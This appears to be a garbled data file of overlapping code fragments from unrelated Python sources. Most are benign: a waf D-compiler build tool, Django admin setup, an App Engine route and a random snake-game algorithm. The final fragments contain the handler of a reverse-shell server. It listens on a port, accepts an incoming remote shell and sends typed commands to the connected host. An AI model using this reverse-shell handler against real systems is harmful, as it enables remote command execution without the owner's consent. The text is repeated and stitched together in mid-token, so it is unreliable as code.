"v.D_LINKER=v.D v.DLNK_SRC_F='' v.DLNK_TGT_F='-of%s' v.DINC_ST='-I%s' v.DSHLIB_MARKER=v.DSTLIB_MARKER='' v.DSTLIB_ST=v.DSHLIB_ST='-L-l%s' v.DSTLIBPATH_ST=v.DLIBPATH_ST='-L-L%s' v.LINKFLAGS_dprogram=['-quiet'] v.DFLAGS_dshlib=['-fPIC'] v.LINKFLAGS_dshlib=['-L-shared'] v.DHEADER_ext='.di' v.DFLAGS_d_with_header=['-H','-Hf'] v.D_HDR_F='%s'",
"v.LINKFLAGS_dprogram=['-quiet'] v.DFLAGS_dshlib=['-fPIC'] v.LINKFLAGS_dshlib=['-L-shared'] v.DHEADER_ext='.di' v.DFLAGS_d_with_header=['-H','-Hf'] v.D_HDR_F='%s' def configure(conf): conf.find_dmd() if sys.platform=='win32': out=conf.cmd_and_log(conf.env.D+['--help']) if",
"if out.find(\"based on DMD v1.\")==-1: conf.fatal(\"detected compiler is not dmd/ldc\") @conf def common_flags_ldc(conf):",
"Compiler v\")==-1: out=conf.cmd_and_log(conf.env.D+['-version']) if out.find(\"based on DMD v1.\")==-1: conf.fatal(\"detected compiler is not dmd/ldc\")",
"on DMD v1.\")==-1: conf.fatal(\"detected compiler is not dmd/ldc\") @conf def common_flags_ldc(conf): v=conf.env v.DFLAGS=['-d-version=Posix']",
"common_flags_ldc(conf): v=conf.env v.DFLAGS=['-d-version=Posix'] v.LINKFLAGS=[] v.DFLAGS_dshlib=['-relocation-model=pic'] @conf def common_flags_dmd(conf): v=conf.env v.D_SRC_F=['-c'] v.D_TGT_F='-of%s' v.D_LINKER=v.D v.DLNK_SRC_F=''",
"v\")==-1: out=conf.cmd_and_log(conf.env.D+['-version']) if out.find(\"based on DMD v1.\")==-1: conf.fatal(\"detected compiler is not dmd/ldc\") @conf",
"v.DINC_ST='-I%s' v.DSHLIB_MARKER=v.DSTLIB_MARKER='' v.DSTLIB_ST=v.DSHLIB_ST='-L-l%s' v.DSTLIBPATH_ST=v.DLIBPATH_ST='-L-L%s' v.LINKFLAGS_dprogram=['-quiet'] v.DFLAGS_dshlib=['-fPIC'] v.LINKFLAGS_dshlib=['-L-shared'] v.DHEADER_ext='.di' v.DFLAGS_d_with_header=['-H','-Hf'] v.D_HDR_F='%s' def configure(conf): conf.find_dmd()",
"ar,d from waflib.Configure import conf @conf def find_dmd(conf): conf.find_program(['dmd','dmd2','ldc'],var='D') out=conf.cmd_and_log(conf.env.D+['--help']) if out.find(\"D Compiler",
"# WARNING! Do not edit! https://waf.io/book/index.html#_obtaining_the_waf_file import sys from waflib.Tools import ar,d from",
"is not dmd/ldc\") @conf def common_flags_ldc(conf): v=conf.env v.DFLAGS=['-d-version=Posix'] v.LINKFLAGS=[] v.DFLAGS_dshlib=['-relocation-model=pic'] @conf def common_flags_dmd(conf):",
"v.DSTLIB_ST=v.DSHLIB_ST='-L-l%s' v.DSTLIBPATH_ST=v.DLIBPATH_ST='-L-L%s' v.LINKFLAGS_dprogram=['-quiet'] v.DFLAGS_dshlib=['-fPIC'] v.LINKFLAGS_dshlib=['-L-shared'] v.DHEADER_ext='.di' v.DFLAGS_d_with_header=['-H','-Hf'] v.D_HDR_F='%s' def configure(conf): conf.find_dmd() if sys.platform=='win32':",
"edit! https://waf.io/book/index.html#_obtaining_the_waf_file import sys from waflib.Tools import ar,d from waflib.Configure import conf @conf",
"supported, use gdc or ldc2 instead') conf.load('ar') conf.load('d') conf.common_flags_dmd() conf.d_platform_flags() if str(conf.env.D).find('ldc')>-1: conf.common_flags_ldc()",
"out.find(\"D Compiler v\")==-1: out=conf.cmd_and_log(conf.env.D+['-version']) if out.find(\"based on DMD v1.\")==-1: conf.fatal(\"detected compiler is not",
"v.DFLAGS_dshlib=['-relocation-model=pic'] @conf def common_flags_dmd(conf): v=conf.env v.D_SRC_F=['-c'] v.D_TGT_F='-of%s' v.D_LINKER=v.D v.DLNK_SRC_F='' v.DLNK_TGT_F='-of%s' v.DINC_ST='-I%s' v.DSHLIB_MARKER=v.DSTLIB_MARKER='' v.DSTLIB_ST=v.DSHLIB_ST='-L-l%s'",
"conf @conf def find_dmd(conf): conf.find_program(['dmd','dmd2','ldc'],var='D') out=conf.cmd_and_log(conf.env.D+['--help']) if out.find(\"D Compiler v\")==-1: out=conf.cmd_and_log(conf.env.D+['-version']) if out.find(\"based",
"if out.find(\"D Compiler v\")==-1: out=conf.cmd_and_log(conf.env.D+['-version']) if out.find(\"based on DMD v1.\")==-1: conf.fatal(\"detected compiler is",
"v.D_TGT_F='-of%s' v.D_LINKER=v.D v.DLNK_SRC_F='' v.DLNK_TGT_F='-of%s' v.DINC_ST='-I%s' v.DSHLIB_MARKER=v.DSTLIB_MARKER='' v.DSTLIB_ST=v.DSHLIB_ST='-L-l%s' v.DSTLIBPATH_ST=v.DLIBPATH_ST='-L-L%s' v.LINKFLAGS_dprogram=['-quiet'] v.DFLAGS_dshlib=['-fPIC'] v.LINKFLAGS_dshlib=['-L-shared'] v.DHEADER_ext='.di' v.DFLAGS_d_with_header=['-H','-Hf']",
"<reponame>goochen/naiveproxy #! /usr/bin/env python # encoding: utf-8 # WARNING! Do not edit! https://waf.io/book/index.html#_obtaining_the_waf_file",
"v.D_HDR_F='%s' def configure(conf): conf.find_dmd() if sys.platform=='win32': out=conf.cmd_and_log(conf.env.D+['--help']) if out.find('D Compiler v2.')>-1: conf.fatal('dmd2 on",
"not dmd/ldc\") @conf def common_flags_ldc(conf): v=conf.env v.DFLAGS=['-d-version=Posix'] v.LINKFLAGS=[] v.DFLAGS_dshlib=['-relocation-model=pic'] @conf def common_flags_dmd(conf): v=conf.env",
"encoding: utf-8 # WARNING! Do not edit! https://waf.io/book/index.html#_obtaining_the_waf_file import sys from waflib.Tools import",
"def common_flags_dmd(conf): v=conf.env v.D_SRC_F=['-c'] v.D_TGT_F='-of%s' v.D_LINKER=v.D v.DLNK_SRC_F='' v.DLNK_TGT_F='-of%s' v.DINC_ST='-I%s' v.DSHLIB_MARKER=v.DSTLIB_MARKER='' v.DSTLIB_ST=v.DSHLIB_ST='-L-l%s' v.DSTLIBPATH_ST=v.DLIBPATH_ST='-L-L%s' v.LINKFLAGS_dprogram=['-quiet']",
"out=conf.cmd_and_log(conf.env.D+['--help']) if out.find('D Compiler v2.')>-1: conf.fatal('dmd2 on Windows is not supported, use gdc",
"v.DFLAGS_dshlib=['-fPIC'] v.LINKFLAGS_dshlib=['-L-shared'] v.DHEADER_ext='.di' v.DFLAGS_d_with_header=['-H','-Hf'] v.D_HDR_F='%s' def configure(conf): conf.find_dmd() if sys.platform=='win32': out=conf.cmd_and_log(conf.env.D+['--help']) if out.find('D",
"/usr/bin/env python # encoding: utf-8 # WARNING! Do not edit! https://waf.io/book/index.html#_obtaining_the_waf_file import sys",
"@conf def common_flags_dmd(conf): v=conf.env v.D_SRC_F=['-c'] v.D_TGT_F='-of%s' v.D_LINKER=v.D v.DLNK_SRC_F='' v.DLNK_TGT_F='-of%s' v.DINC_ST='-I%s' v.DSHLIB_MARKER=v.DSTLIB_MARKER='' v.DSTLIB_ST=v.DSHLIB_ST='-L-l%s' v.DSTLIBPATH_ST=v.DLIBPATH_ST='-L-L%s'",
"conf.find_dmd() if sys.platform=='win32': out=conf.cmd_and_log(conf.env.D+['--help']) if out.find('D Compiler v2.')>-1: conf.fatal('dmd2 on Windows is not",
"Do not edit! https://waf.io/book/index.html#_obtaining_the_waf_file import sys from waflib.Tools import ar,d from waflib.Configure import",
"sys.platform=='win32': out=conf.cmd_and_log(conf.env.D+['--help']) if out.find('D Compiler v2.')>-1: conf.fatal('dmd2 on Windows is not supported, use",
"not supported, use gdc or ldc2 instead') conf.load('ar') conf.load('d') conf.common_flags_dmd() conf.d_platform_flags() if str(conf.env.D).find('ldc')>-1:",
"v.DLNK_SRC_F='' v.DLNK_TGT_F='-of%s' v.DINC_ST='-I%s' v.DSHLIB_MARKER=v.DSTLIB_MARKER='' v.DSTLIB_ST=v.DSHLIB_ST='-L-l%s' v.DSTLIBPATH_ST=v.DLIBPATH_ST='-L-L%s' v.LINKFLAGS_dprogram=['-quiet'] v.DFLAGS_dshlib=['-fPIC'] v.LINKFLAGS_dshlib=['-L-shared'] v.DHEADER_ext='.di' v.DFLAGS_d_with_header=['-H','-Hf'] v.D_HDR_F='%s' def",
"v1.\")==-1: conf.fatal(\"detected compiler is not dmd/ldc\") @conf def common_flags_ldc(conf): v=conf.env v.DFLAGS=['-d-version=Posix'] v.LINKFLAGS=[] v.DFLAGS_dshlib=['-relocation-model=pic']",
"# encoding: utf-8 # WARNING! Do not edit! https://waf.io/book/index.html#_obtaining_the_waf_file import sys from waflib.Tools"
] |
[
"# Register your models here. admin.site.register((BlogComment,)) # it must be in tupple formate",
"it must be in tupple formate admin.site.register(Category) @admin.register(Post) class PostAdmin(admin.ModelAdmin): class Media: js",
"from blog.models import Post, BlogComment, Category # Register your models here. admin.site.register((BlogComment,)) #",
"import admin from blog.models import Post, BlogComment, Category # Register your models here.",
"django.contrib import admin from blog.models import Post, BlogComment, Category # Register your models",
"be in tupple formate admin.site.register(Category) @admin.register(Post) class PostAdmin(admin.ModelAdmin): class Media: js = (\"tinyInject.js\",)",
"admin.site.register((BlogComment,)) # it must be in tupple formate admin.site.register(Category) @admin.register(Post) class PostAdmin(admin.ModelAdmin): class",
"blog.models import Post, BlogComment, Category # Register your models here. admin.site.register((BlogComment,)) # it",
"models here. admin.site.register((BlogComment,)) # it must be in tupple formate admin.site.register(Category) @admin.register(Post) class",
"Register your models here. admin.site.register((BlogComment,)) # it must be in tupple formate admin.site.register(Category)",
"BlogComment, Category # Register your models here. admin.site.register((BlogComment,)) # it must be in",
"Post, BlogComment, Category # Register your models here. admin.site.register((BlogComment,)) # it must be",
"here. admin.site.register((BlogComment,)) # it must be in tupple formate admin.site.register(Category) @admin.register(Post) class PostAdmin(admin.ModelAdmin):",
"import Post, BlogComment, Category # Register your models here. admin.site.register((BlogComment,)) # it must",
"must be in tupple formate admin.site.register(Category) @admin.register(Post) class PostAdmin(admin.ModelAdmin): class Media: js =",
"Category # Register your models here. admin.site.register((BlogComment,)) # it must be in tupple",
"your models here. admin.site.register((BlogComment,)) # it must be in tupple formate admin.site.register(Category) @admin.register(Post)",
"from django.contrib import admin from blog.models import Post, BlogComment, Category # Register your",
"admin from blog.models import Post, BlogComment, Category # Register your models here. admin.site.register((BlogComment,))",
"# it must be in tupple formate admin.site.register(Category) @admin.register(Post) class PostAdmin(admin.ModelAdmin): class Media:"
] |
[
"name, activities, course): subject = Subject.get_by_id(int(subject_id)) subject.name = name subject.activities = activities subject.course",
"from tekton.gae.middleware.redirect import RedirectResponse from tekton.router import to_path __author__ = 'marcos' @no_csrf @login_not_required",
"TemplateResponse(ctx, 'subjects/subject_form.html') @login_not_required def atualizar(subject_id, name, activities, course): subject = Subject.get_by_id(int(subject_id)) subject.name =",
"from __future__ import absolute_import, unicode_literals from google.appengine.ext import ndb from course.course_model import Subject,",
"tekton.router import to_path __author__ = 'marcos' @no_csrf @login_not_required def index(subject_id): subject = Subject.get_by_id(int(subject_id))",
"absolute_import, unicode_literals from google.appengine.ext import ndb from course.course_model import Subject, Course from config.template_middleware",
"<filename>backend/appengine/routes/subjects/edit.py # -*- coding: utf-8 -*- from __future__ import absolute_import, unicode_literals from google.appengine.ext",
"from google.appengine.ext import ndb from course.course_model import Subject, Course from config.template_middleware import TemplateResponse",
"subjects from tekton.gae.middleware.redirect import RedirectResponse from tekton.router import to_path __author__ = 'marcos' @no_csrf",
"'salvar_path': to_path(atualizar) } ctx[\"courses\"] = Course.query_ordenada_por_nome().fetch() return TemplateResponse(ctx, 'subjects/subject_form.html') @login_not_required def atualizar(subject_id, name,",
"utf-8 -*- from __future__ import absolute_import, unicode_literals from google.appengine.ext import ndb from course.course_model",
"= Subject.get_by_id(int(subject_id)) subject.name = name subject.activities = activities subject.course = ndb.Key(Course, int(course)) subject.put()",
"import no_csrf from gaepermission.decorator import login_not_required from routes import subjects from tekton.gae.middleware.redirect import",
"tekton.gae.middleware.redirect import RedirectResponse from tekton.router import to_path __author__ = 'marcos' @no_csrf @login_not_required def",
"def index(subject_id): subject = Subject.get_by_id(int(subject_id)) ctx={'subject': subject, 'salvar_path': to_path(atualizar) } ctx[\"courses\"] = Course.query_ordenada_por_nome().fetch()",
"import TemplateResponse from gaecookie.decorator import no_csrf from gaepermission.decorator import login_not_required from routes import",
"index(subject_id): subject = Subject.get_by_id(int(subject_id)) ctx={'subject': subject, 'salvar_path': to_path(atualizar) } ctx[\"courses\"] = Course.query_ordenada_por_nome().fetch() return",
"def atualizar(subject_id, name, activities, course): subject = Subject.get_by_id(int(subject_id)) subject.name = name subject.activities =",
"@login_not_required def index(subject_id): subject = Subject.get_by_id(int(subject_id)) ctx={'subject': subject, 'salvar_path': to_path(atualizar) } ctx[\"courses\"] =",
"Subject, Course from config.template_middleware import TemplateResponse from gaecookie.decorator import no_csrf from gaepermission.decorator import",
"# -*- coding: utf-8 -*- from __future__ import absolute_import, unicode_literals from google.appengine.ext import",
"from config.template_middleware import TemplateResponse from gaecookie.decorator import no_csrf from gaepermission.decorator import login_not_required from",
"import login_not_required from routes import subjects from tekton.gae.middleware.redirect import RedirectResponse from tekton.router import",
"'marcos' @no_csrf @login_not_required def index(subject_id): subject = Subject.get_by_id(int(subject_id)) ctx={'subject': subject, 'salvar_path': to_path(atualizar) }",
"Course.query_ordenada_por_nome().fetch() return TemplateResponse(ctx, 'subjects/subject_form.html') @login_not_required def atualizar(subject_id, name, activities, course): subject = Subject.get_by_id(int(subject_id))",
"subject, 'salvar_path': to_path(atualizar) } ctx[\"courses\"] = Course.query_ordenada_por_nome().fetch() return TemplateResponse(ctx, 'subjects/subject_form.html') @login_not_required def atualizar(subject_id,",
"-*- from __future__ import absolute_import, unicode_literals from google.appengine.ext import ndb from course.course_model import",
"ctx[\"courses\"] = Course.query_ordenada_por_nome().fetch() return TemplateResponse(ctx, 'subjects/subject_form.html') @login_not_required def atualizar(subject_id, name, activities, course): subject",
"Course from config.template_middleware import TemplateResponse from gaecookie.decorator import no_csrf from gaepermission.decorator import login_not_required",
"import RedirectResponse from tekton.router import to_path __author__ = 'marcos' @no_csrf @login_not_required def index(subject_id):",
"RedirectResponse from tekton.router import to_path __author__ = 'marcos' @no_csrf @login_not_required def index(subject_id): subject",
"config.template_middleware import TemplateResponse from gaecookie.decorator import no_csrf from gaepermission.decorator import login_not_required from routes",
"ctx={'subject': subject, 'salvar_path': to_path(atualizar) } ctx[\"courses\"] = Course.query_ordenada_por_nome().fetch() return TemplateResponse(ctx, 'subjects/subject_form.html') @login_not_required def",
"return TemplateResponse(ctx, 'subjects/subject_form.html') @login_not_required def atualizar(subject_id, name, activities, course): subject = Subject.get_by_id(int(subject_id)) subject.name",
"course): subject = Subject.get_by_id(int(subject_id)) subject.name = name subject.activities = activities subject.course = ndb.Key(Course,",
"-*- coding: utf-8 -*- from __future__ import absolute_import, unicode_literals from google.appengine.ext import ndb",
"from course.course_model import Subject, Course from config.template_middleware import TemplateResponse from gaecookie.decorator import no_csrf",
"= Subject.get_by_id(int(subject_id)) ctx={'subject': subject, 'salvar_path': to_path(atualizar) } ctx[\"courses\"] = Course.query_ordenada_por_nome().fetch() return TemplateResponse(ctx, 'subjects/subject_form.html')",
"= Course.query_ordenada_por_nome().fetch() return TemplateResponse(ctx, 'subjects/subject_form.html') @login_not_required def atualizar(subject_id, name, activities, course): subject =",
"TemplateResponse from gaecookie.decorator import no_csrf from gaepermission.decorator import login_not_required from routes import subjects",
"course.course_model import Subject, Course from config.template_middleware import TemplateResponse from gaecookie.decorator import no_csrf from",
"__author__ = 'marcos' @no_csrf @login_not_required def index(subject_id): subject = Subject.get_by_id(int(subject_id)) ctx={'subject': subject, 'salvar_path':",
"@no_csrf @login_not_required def index(subject_id): subject = Subject.get_by_id(int(subject_id)) ctx={'subject': subject, 'salvar_path': to_path(atualizar) } ctx[\"courses\"]",
"to_path(atualizar) } ctx[\"courses\"] = Course.query_ordenada_por_nome().fetch() return TemplateResponse(ctx, 'subjects/subject_form.html') @login_not_required def atualizar(subject_id, name, activities,",
"'subjects/subject_form.html') @login_not_required def atualizar(subject_id, name, activities, course): subject = Subject.get_by_id(int(subject_id)) subject.name = name",
"ndb from course.course_model import Subject, Course from config.template_middleware import TemplateResponse from gaecookie.decorator import",
"Subject.get_by_id(int(subject_id)) subject.name = name subject.activities = activities subject.course = ndb.Key(Course, int(course)) subject.put() return",
"Subject.get_by_id(int(subject_id)) ctx={'subject': subject, 'salvar_path': to_path(atualizar) } ctx[\"courses\"] = Course.query_ordenada_por_nome().fetch() return TemplateResponse(ctx, 'subjects/subject_form.html') @login_not_required",
"from gaecookie.decorator import no_csrf from gaepermission.decorator import login_not_required from routes import subjects from",
"no_csrf from gaepermission.decorator import login_not_required from routes import subjects from tekton.gae.middleware.redirect import RedirectResponse",
"login_not_required from routes import subjects from tekton.gae.middleware.redirect import RedirectResponse from tekton.router import to_path",
"google.appengine.ext import ndb from course.course_model import Subject, Course from config.template_middleware import TemplateResponse from",
"subject.name = name subject.activities = activities subject.course = ndb.Key(Course, int(course)) subject.put() return RedirectResponse(subjects)",
"= 'marcos' @no_csrf @login_not_required def index(subject_id): subject = Subject.get_by_id(int(subject_id)) ctx={'subject': subject, 'salvar_path': to_path(atualizar)",
"import ndb from course.course_model import Subject, Course from config.template_middleware import TemplateResponse from gaecookie.decorator",
"import absolute_import, unicode_literals from google.appengine.ext import ndb from course.course_model import Subject, Course from",
"from routes import subjects from tekton.gae.middleware.redirect import RedirectResponse from tekton.router import to_path __author__",
"import subjects from tekton.gae.middleware.redirect import RedirectResponse from tekton.router import to_path __author__ = 'marcos'",
"@login_not_required def atualizar(subject_id, name, activities, course): subject = Subject.get_by_id(int(subject_id)) subject.name = name subject.activities",
"from tekton.router import to_path __author__ = 'marcos' @no_csrf @login_not_required def index(subject_id): subject =",
"subject = Subject.get_by_id(int(subject_id)) subject.name = name subject.activities = activities subject.course = ndb.Key(Course, int(course))",
"__future__ import absolute_import, unicode_literals from google.appengine.ext import ndb from course.course_model import Subject, Course",
"activities, course): subject = Subject.get_by_id(int(subject_id)) subject.name = name subject.activities = activities subject.course =",
"unicode_literals from google.appengine.ext import ndb from course.course_model import Subject, Course from config.template_middleware import",
"to_path __author__ = 'marcos' @no_csrf @login_not_required def index(subject_id): subject = Subject.get_by_id(int(subject_id)) ctx={'subject': subject,",
"coding: utf-8 -*- from __future__ import absolute_import, unicode_literals from google.appengine.ext import ndb from",
"import to_path __author__ = 'marcos' @no_csrf @login_not_required def index(subject_id): subject = Subject.get_by_id(int(subject_id)) ctx={'subject':",
"subject = Subject.get_by_id(int(subject_id)) ctx={'subject': subject, 'salvar_path': to_path(atualizar) } ctx[\"courses\"] = Course.query_ordenada_por_nome().fetch() return TemplateResponse(ctx,",
"gaecookie.decorator import no_csrf from gaepermission.decorator import login_not_required from routes import subjects from tekton.gae.middleware.redirect",
"import Subject, Course from config.template_middleware import TemplateResponse from gaecookie.decorator import no_csrf from gaepermission.decorator",
"} ctx[\"courses\"] = Course.query_ordenada_por_nome().fetch() return TemplateResponse(ctx, 'subjects/subject_form.html') @login_not_required def atualizar(subject_id, name, activities, course):",
"routes import subjects from tekton.gae.middleware.redirect import RedirectResponse from tekton.router import to_path __author__ =",
"gaepermission.decorator import login_not_required from routes import subjects from tekton.gae.middleware.redirect import RedirectResponse from tekton.router",
"from gaepermission.decorator import login_not_required from routes import subjects from tekton.gae.middleware.redirect import RedirectResponse from",
"atualizar(subject_id, name, activities, course): subject = Subject.get_by_id(int(subject_id)) subject.name = name subject.activities = activities"
] |
[
"from GameData import GameData class RandomChoice(Algorithm): def __init__(self): super().__init__() \"\"\" A stupid algorithm",
"r = int(random() * 3) if r == 0: return \"turn left\" elif",
"from Algorithms.Algorithms import Algorithm from GameData import GameData class RandomChoice(Algorithm): def __init__(self): super().__init__()",
"class RandomChoice(Algorithm): def __init__(self): super().__init__() \"\"\" A stupid algorithm that returns a random",
"for comparisons with other algorithms. Best result: length 4 on a 10x20 field",
"Algorithm from GameData import GameData class RandomChoice(Algorithm): def __init__(self): super().__init__() \"\"\" A stupid",
"decide(self, info: GameData) -> str: r = int(random() * 3) if r ==",
"random from Algorithms.Algorithms import Algorithm from GameData import GameData class RandomChoice(Algorithm): def __init__(self):",
"algorithm that returns a random value. This can be used for comparisons with",
"that returns a random value. This can be used for comparisons with other",
"A stupid algorithm that returns a random value. This can be used for",
"3) if r == 0: return \"turn left\" elif r == 1: return",
"GameData import GameData class RandomChoice(Algorithm): def __init__(self): super().__init__() \"\"\" A stupid algorithm that",
"GameData) -> str: r = int(random() * 3) if r == 0: return",
"used for comparisons with other algorithms. Best result: length 4 on a 10x20",
"info: GameData) -> str: r = int(random() * 3) if r == 0:",
"4 on a 10x20 field in 1000 epochs \"\"\" def decide(self, info: GameData)",
"This can be used for comparisons with other algorithms. Best result: length 4",
"* 3) if r == 0: return \"turn left\" elif r == 1:",
"algorithms. Best result: length 4 on a 10x20 field in 1000 epochs \"\"\"",
"from random import random from Algorithms.Algorithms import Algorithm from GameData import GameData class",
"epochs \"\"\" def decide(self, info: GameData) -> str: r = int(random() * 3)",
"can be used for comparisons with other algorithms. Best result: length 4 on",
"import random from Algorithms.Algorithms import Algorithm from GameData import GameData class RandomChoice(Algorithm): def",
"a 10x20 field in 1000 epochs \"\"\" def decide(self, info: GameData) -> str:",
"import GameData class RandomChoice(Algorithm): def __init__(self): super().__init__() \"\"\" A stupid algorithm that returns",
"with other algorithms. Best result: length 4 on a 10x20 field in 1000",
"value. This can be used for comparisons with other algorithms. Best result: length",
"1000 epochs \"\"\" def decide(self, info: GameData) -> str: r = int(random() *",
"if r == 0: return \"turn left\" elif r == 1: return \"turn",
"import Algorithm from GameData import GameData class RandomChoice(Algorithm): def __init__(self): super().__init__() \"\"\" A",
"Best result: length 4 on a 10x20 field in 1000 epochs \"\"\" def",
"10x20 field in 1000 epochs \"\"\" def decide(self, info: GameData) -> str: r",
"random value. This can be used for comparisons with other algorithms. Best result:",
"str: r = int(random() * 3) if r == 0: return \"turn left\"",
"comparisons with other algorithms. Best result: length 4 on a 10x20 field in",
"== 0: return \"turn left\" elif r == 1: return \"turn right\" else:",
"random import random from Algorithms.Algorithms import Algorithm from GameData import GameData class RandomChoice(Algorithm):",
"__init__(self): super().__init__() \"\"\" A stupid algorithm that returns a random value. This can",
"\"\"\" def decide(self, info: GameData) -> str: r = int(random() * 3) if",
"be used for comparisons with other algorithms. Best result: length 4 on a",
"<filename>code/Algorithms/RandomChoice.py from random import random from Algorithms.Algorithms import Algorithm from GameData import GameData",
"super().__init__() \"\"\" A stupid algorithm that returns a random value. This can be",
"-> str: r = int(random() * 3) if r == 0: return \"turn",
"int(random() * 3) if r == 0: return \"turn left\" elif r ==",
"length 4 on a 10x20 field in 1000 epochs \"\"\" def decide(self, info:",
"\"\"\" A stupid algorithm that returns a random value. This can be used",
"Algorithms.Algorithms import Algorithm from GameData import GameData class RandomChoice(Algorithm): def __init__(self): super().__init__() \"\"\"",
"0: return \"turn left\" elif r == 1: return \"turn right\" else: return",
"field in 1000 epochs \"\"\" def decide(self, info: GameData) -> str: r =",
"in 1000 epochs \"\"\" def decide(self, info: GameData) -> str: r = int(random()",
"a random value. This can be used for comparisons with other algorithms. Best",
"GameData class RandomChoice(Algorithm): def __init__(self): super().__init__() \"\"\" A stupid algorithm that returns a",
"result: length 4 on a 10x20 field in 1000 epochs \"\"\" def decide(self,",
"stupid algorithm that returns a random value. This can be used for comparisons",
"def decide(self, info: GameData) -> str: r = int(random() * 3) if r",
"= int(random() * 3) if r == 0: return \"turn left\" elif r",
"r == 0: return \"turn left\" elif r == 1: return \"turn right\"",
"return \"turn left\" elif r == 1: return \"turn right\" else: return \"straight\"",
"def __init__(self): super().__init__() \"\"\" A stupid algorithm that returns a random value. This",
"other algorithms. Best result: length 4 on a 10x20 field in 1000 epochs",
"returns a random value. This can be used for comparisons with other algorithms.",
"on a 10x20 field in 1000 epochs \"\"\" def decide(self, info: GameData) ->",
"RandomChoice(Algorithm): def __init__(self): super().__init__() \"\"\" A stupid algorithm that returns a random value."
] |
[
"def get_args(self): \"\"\"Set argument options\"\"\" self.arg_parser.add_argument('--version', action = 'version', version = '%(prog)s '",
"'utf8')) print('exit') conn.close() s.close() exit(0) def show_help(self): \"\"\"Show help for shell options\"\"\" h",
"$ ' print('Type exit or enter EOF (ctrl-d) to exit.') while True: try:",
"h.append('-----------------------------') h.append('h show this help menu') h.append('exit close program (local and remote)') h.append('drop",
"TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.",
"self.arg_parser.parse_args() def main_event(self, force=False): \"\"\"Connect to an incoming shell\"\"\" s = socket.socket() if",
"== '!': cmd = lastcmd elif cmd == '': cmd = '\\n' if",
"if remotehost.split('@')[0] == 'root': promptsuffix = ' # ' else: promptsuffix = '",
"lastcmd elif cmd == '': cmd = '\\n' if cmd == 'exit': conn.send(bytes(cmd,",
"' print('Type exit or enter EOF (ctrl-d) to exit.') while True: try: cmd",
"if remotepyversion == 2: if recdata and recdata != ':': stdout.buffer.write(recdata) else: if",
"+ remotepyversion + \\ '.\\nEnter h for help.') remotepyversion = int(remotepyversion) if remotehost.split('@')[0]",
"EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,",
"shell, keep server running') h.append('detach close shell, keep client running') h.append('cd DIR change",
"the Software without restriction, including without limitation the rights # to use, copy,",
"ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN",
"= lastcmd elif cmd == '': cmd = '\\n' if cmd == 'exit':",
"import ArgumentParser import socket from sys import exit, stdout from time import sleep",
"person obtaining a copy # of this software and associated documentation files (the",
"print('Remote hostname: ' + remotehost + '.\\n' + \\ 'Remote Python major version:",
"remotepyversion + \\ '.\\nEnter h for help.') remotepyversion = int(remotepyversion) if remotehost.split('@')[0] ==",
"exit(0) def show_help(self): \"\"\"Show help for shell options\"\"\" h = [] h.append('\\nCommand Description')",
"cmd = '\\n' if cmd == 'exit': conn.send(bytes(cmd, 'utf8')) conn.close() s.close() exit(0) elif",
"remote)') h.append('drop close shell, keep server running') h.append('detach close shell, keep client running')",
"(ctrl-d) to exit.') while True: try: cmd = input(remotehost + promptsuffix) if cmd",
"A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR",
"SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR #",
"force=False): \"\"\"Connect to an incoming shell\"\"\" s = socket.socket() if force: print('Enabling socket",
"to sockets that are already in use')) self.arg_parser.add_argument('port', action = 'store', type=int, help",
"':' + str(host[1]) + '.') remotehost, remotepyversion = str( conn.recv(1024))[2:-1].split(':') print('Remote hostname: '",
"# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies",
"incoming shell\"\"\" s = socket.socket() if force: print('Enabling socket address reuse.') s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,",
"def run_script(self): \"\"\"Run the shell server program\"\"\" try: self.get_args() self.main_event(force=self.args.force) while True: self.main_event(force=True)",
"shell, keep client running') h.append('cd DIR change directory') h.append('') print('\\n'.join(h)) def run_script(self): \"\"\"Run",
"= 'force', help = ('bind to sockets that are already in use')) self.arg_parser.add_argument('port',",
"included in all # copies or substantial portions of the Software. # #",
"s.close() exit(0) elif cmd == 'h': self.show_help() else: conn.send(bytes(cmd, 'utf8')) recdata = conn.recv(16834)",
"= socket.socket() if force: print('Enabling socket address reuse.') s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) print('Binding to",
"conn.close() s.close() return 0 elif cmd == 'detach': conn.send(bytes(cmd, 'utf8')) conn.close() s.close() exit(0)",
"s.close() return 0 elif cmd == 'detach': conn.send(bytes(cmd, 'utf8')) conn.close() s.close() exit(0) elif",
"(local and remote)') h.append('drop close shell, keep server running') h.append('detach close shell, keep",
"to exit.') while True: try: cmd = input(remotehost + promptsuffix) if cmd ==",
"input(remotehost + promptsuffix) if cmd == '!': cmd = lastcmd elif cmd ==",
"is hereby granted, free of charge, to any person obtaining a copy #",
"persons to whom the Software is # furnished to do so, subject to",
"s.bind(('0.0.0.0', self.args.port)) s.listen(1) conn, host = s.accept() print('Received connection from ' + str(host[0])",
"conditions: # # The above copyright notice and this permission notice shall be",
"INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A",
"self.main_event(force=True) except KeyboardInterrupt: print('\\nExiting on KeyboardInterrupt') def main(): thing = RSSrvCore() thing.run_script() if",
"# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE",
"+ \\ ':' + str(host[1]) + '.') remotehost, remotepyversion = str( conn.recv(1024))[2:-1].split(':') print('Remote",
"OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,",
"remotepyversion == 2: if recdata and recdata != ':': stdout.buffer.write(recdata) else: if recdata",
"documentation files (the \"Software\"), to deal # in the Software without restriction, including",
"self.show_help() else: conn.send(bytes(cmd, 'utf8')) recdata = conn.recv(16834) if remotepyversion == 2: if recdata",
"h.append('\\nCommand Description') h.append('-----------------------------') h.append('h show this help menu') h.append('exit close program (local and",
"options\"\"\" h = [] h.append('\\nCommand Description') h.append('-----------------------------') h.append('h show this help menu') h.append('exit",
